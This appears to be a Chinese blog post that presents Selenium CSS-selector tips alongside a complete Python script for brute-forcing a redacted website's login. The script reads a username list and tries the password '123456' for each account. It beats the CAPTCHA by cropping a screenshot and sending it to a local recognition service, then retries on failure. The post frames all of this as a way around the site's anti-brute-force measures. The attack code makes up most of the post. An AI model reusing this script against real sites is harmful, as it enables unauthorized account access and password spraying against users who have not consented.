selenium的css selector元素获取方式

目标站存在验证码，验证码与用户名关联；登录密码存在加密，加密方式未知（相同用户密码反复测试加密结果不一样）；无法使用burp+验证码识别爆破；只能使用selenuim+验证码识别处理；

测试中发现几个密码、验证码、登录按钮没有常见的id/name/class名，

平时常用的find_element_by_id、find_element_by_name、find_element_by_class_name没法处理，

网上搜索了下:

可以使用css selector来查找对应元素：

如：

<input type="password" class="form-control input-lg ng-dirty ng-valid-parse ng-touched ng-not-empty ng-valid ng-valid-required" ng-model="loginInfo.password" placeholder="密码" autocomplete="off" required="" style="">

可直接使用browser.find_elements(“css selector”, “[placeholder^=’密码’] “)[0] 获取元素 ^为正则匹配

(网上有使用find_element_by_css_selector的 未尝试，https://oomake.com/question/2897854)

清空输入框内容:

elem.clear()

# coding=utf-8
import time
from selenium import webdriver
import sys
import ssl
import urllib2
import re
from PIL import Image
import cStringIO
import requests
reload(sys)
sys.setdefaultencoding("utf-8")
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings()

def getall(html):
    reg = r'<span ng-bind-html="error.msg" class="ng-binding">(.*?)</span>'
    listre = re.compile(reg)
    mylist = re.findall(listre, html.strip())
    return mylist[0]

def getimg(html):

    reg = r'<img class="imgVerify" src="(.*?)" alt="">'
    listre = re.compile(reg)
    mylist = re.findall(listre, html.strip())
    print mylist
    return mylist

def getvcode():
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

    url = 'http://127.0.0.1:7779/api'

    imgurl ='http://127.0.0.1/vcode_test/vcode.png'

    request1 = urllib2.Request(imgurl,headers=burp0_headers)

    response = urllib2.urlopen(request1)
    imgtxt2 = response.read()
    # print imgtxt2
    imgtxt = cStringIO.StringIO(imgtxt2)
    postdata = imgtxt
    html = requests.post(url, data=postdata, timeout=20)
    mynum = (html.text)
    #print mynum
    with open('Pic\\{}.{}'.format(str(mynum)+'-', 'jpg'), 'wb') as f:
        f.write(str(imgtxt2))

    return mynum

def getvcode_local(str,r,h):

    url='http://127.0.0.1:7779/api'
    img=Image.open('vcode.png')
    imgtxt2=img.resize((int(r),int(h)),Image.BILINEAR)
    print imgtxt2
    imgtxt = cStringIO.StringIO(imgtxt2)
    postdata=imgtxt
    html=requests.post(url,data=postdata,timeout=5)
    mynum=(html.text)
    print mynum

def do_it_again(u,p):
    #输入用户名
    elem = browser.find_element_by_id("username")
    elem.send_keys(u)
    # 密码并输入
    elem = browser.find_elements("css selector", "[placeholder^='密码'] ")
    elem.send_keys(p)

    elem=browser.find_element_by_class_name("imgVerify")
    elem.click()
    time.sleep(2)
    #开始截图
    browser.get_screenshot_as_file("china_zulin.png")
    #开始在截图中抠图
    elem=browser.find_element_by_class_name("imgVerify")
    left = elem.location['x']
    top = elem.location['y']
    right = elem.location['x'] + elem.size['width']
    bottom = elem.location['y'] + elem.size['height']
    #print left, top, right, bottom
    im = Image.open('china_zulin.png') 
    im = im.crop((int(left), int(top), int(right), int(bottom)))
    im.save(r'D://phpStudy//PHPTutorial//WWW//vcode_test//vcode.png')
    mcode=getvcode()
    #输入验证码
    elem = browser.find_elements("css selector", "[placeholder^='请输入验证码'] ")[0]
    elem.send_keys(str(mcode))
    #print 'code is ',u,p,mcode
    #点击认证
    elem = browser.find_elements("css selector", '[ng-click^="doLogin()"] ')[0]
    elem.click()
    time.sleep(3)

    if getall(browser.page_source)=='账号不存在':
        #清空用户/密码
        print u,p,getall(browser.page_source)
        elem = browser.find_element_by_id("username")
        elem.clear()
        #点击认证
        elem = browser.find_elements("css selector", "[placeholder^='密码'] ")[0]
        elem.clear()
        elem = browser.find_elements("css selector", "[placeholder^='请输入验证码'] ")[0]
        elem.clear()
    else:
        elem = browser.find_element_by_id("username")
        elem.clear()
        elem = browser.find_elements("css selector", "[placeholder^='密码'] ")[0]
        elem.clear()
        elem = browser.find_elements("css selector", "[placeholder^='请输入验证码'] ")[0]
        elem.clear()
        do_it_again(u,p)
    return u,p,getall(browser.page_source)

def cusLogin():
    browser.get('http://********/')
    browser.implicitly_wait(15)
    with open('china_user.txt', 'r') as fP:
        for mstr in fP.readlines():
            u = mstr.strip()
            p = '123456'

            do_it_again(u, p)

browser = webdriver.Chrome()
#
def main():
    cusLogin()
    #browser.quit()

if __name__ == '__main__':
    main()

另外,执行过多selenuim时，将导致chromedriver.exe进程过多，无法进行，直接cmd下

taskkill /f /t /im chromedriver.exe